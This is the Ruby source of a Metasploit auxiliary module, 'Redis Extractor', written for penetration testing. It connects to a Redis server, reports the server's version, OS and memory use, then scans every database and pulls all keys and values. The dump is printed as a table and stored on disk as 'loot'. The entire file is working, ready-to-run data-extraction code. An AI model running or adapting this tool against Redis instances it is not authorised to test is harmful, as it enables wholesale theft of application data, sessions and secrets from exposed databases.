metasploit-framework/modules/auxiliary/gather/redis_extractor.rb

215 lines
6.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Redis
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis Extractor',
'Description' => %q{
This module connects to a Redis instance and retrieves keys and data stored.
},
'Author' => ['Geoff Rainville noncenz[at]ultibits.com'],
'License' => MSF_LICENSE,
'References' => [['URL', 'https://redis.io/topics/protocol']],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptInt.new('LIMIT_COUNT', [false, 'Stop after retrieving this many entries, per database', nil])
]
)
end
MIN_REDIS_VERSION = '2.8.0'.freeze
# Recurse to assemble the full list of keys
def scan(offset)
response = redis_command('scan', offset)
parsed = parse_redis_response(response)
raise 'Unexpected RESP response length' unless parsed.length == 2
new_offset = parsed[0] # cursor position for next iteration or zero if we are done
keys = parsed[1]
results = []
keys.each do |key|
value = value_for_key(key)
if value
results.push([key, value])
end
end
[new_offset, results]
end
def value_for_key(key)
key_type = redis_command('TYPE', key)
return unless key_type
key_type = parse_redis_response(key_type)
case key_type
when 'string'
string_content = redis_command('get', key)
return unless string_content
return parse_redis_response(string_content)
when 'list'
list_content = redis_command('LRANGE', key, '0', '-1')
return unless list_content
return parse_redis_response(list_content)
when 'set'
set_content = redis_command('SMEMBERS', key)
return unless set_content
return parse_redis_response(set_content)
when 'zset'
set_content = redis_command('ZRANGE', key, '0', '-1')
return unless set_content
return parse_redis_response(set_content)
when 'hash'
hash_content = parse_redis_response(redis_command('HGETALL', key))
return unless hash_content
result = {}
(0..hash_content.length - 1).step(2) do |x|
result[hash_content[x]] = hash_content[x + 1]
end
return result
when 'none'
# May have been deleted in the interim
return nil
else
return 'unknown key type ' + key_type
end
end
# Connect to Redis and ensure compatibility.
def redis_connect
connect
# NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
print_good("Connected to Redis version #{redis_version}")
end
# Some connection attempts such as incorrect password set fail silently in the Redis library.
if !info_data
print_error('Unable to connect to Redis')
print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
return
end
# Ensure version compatibility
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
return
end
# Connection was successful
return info_data
rescue Msf::Auxiliary::Failed => e
# This error trips when auth is required but password not set
print_error('Unable to connect to Redis: ' + e.message)
return
rescue Rex::ConnectionTimeout
print_error('Timed out trying to connect to Redis')
return
rescue StandardError
print_error('Unknown error trying to connect to Redis')
return
end
def check_host(_ip)
info_data = redis_connect
if info_data
if /os:(?<os_ver>.*)\r/ =~ info_data
os_ver = os_ver.strip
print_status("OS is #{os_ver} ")
end
if /keys=(?<keys>\S+),expires=/ =~ info_data
print_status("Redis reports #{keys} keys stored")
end
if /used_memory_peak_human:(?<bytes>.*)\r/ =~ info_data
bytes = bytes.strip
print_status("#{bytes.chomp} bytes stored")
end
end
disconnect
return info_data ? Msf::Exploit::CheckCode::Appears : Msf::Exploit::CheckCode::Unknown
end
def get_keyspace
ks = redis_command('INFO', 'keyspace')
ks = parse_redis_response(ks)
ks = ks.split("\r\n")
result = []
ks.each do |k|
if /db(?<db>\S+):/ =~ k && /keys=(?<keys>\S+),expires/ =~ k
result.append([db, keys])
end
end
return result
end
def run_host(_ip)
if !redis_connect
disconnect
return
end
keyspace = get_keyspace
max_results = datastore['LIMIT_COUNT']
keyspace.each do |space|
if max_results
amount = "#{[space[1].to_i, max_results].min} of #{space[1]}"
else
amount = (space[1]).to_s
end
print_status("Extracting about #{amount} keys from database #{space[0]}")
redis_command('SELECT', space[0])
new_offset = '0'
all_results = []
loop do
new_offset, results = scan(new_offset)
all_results.concat(results)
break if max_results && all_results.count >= max_results
break if new_offset == '0'
end
if all_results.empty?
print_status('No keys returned')
next
end
# Report data in terminal
result_table = Rex::Text::Table.new(
'Header' => "Data from #{peer} database #{space[0]}",
'Indent' => 1,
'Columns' => [ 'Key', 'Value' ]
)
all_results.each { |pair| result_table << pair }
print_line
print_line(result_table.to_s)
# Store data as loot
csv = []
all_results.each { |pair| csv << pair.to_csv }
path = store_loot("redis.dump_db#{space[0]}", 'text/plain', rhost, csv.join, 'redis.txt', 'Redis extractor')
print_good("Redis data stored at #{path}")
end
disconnect
end
end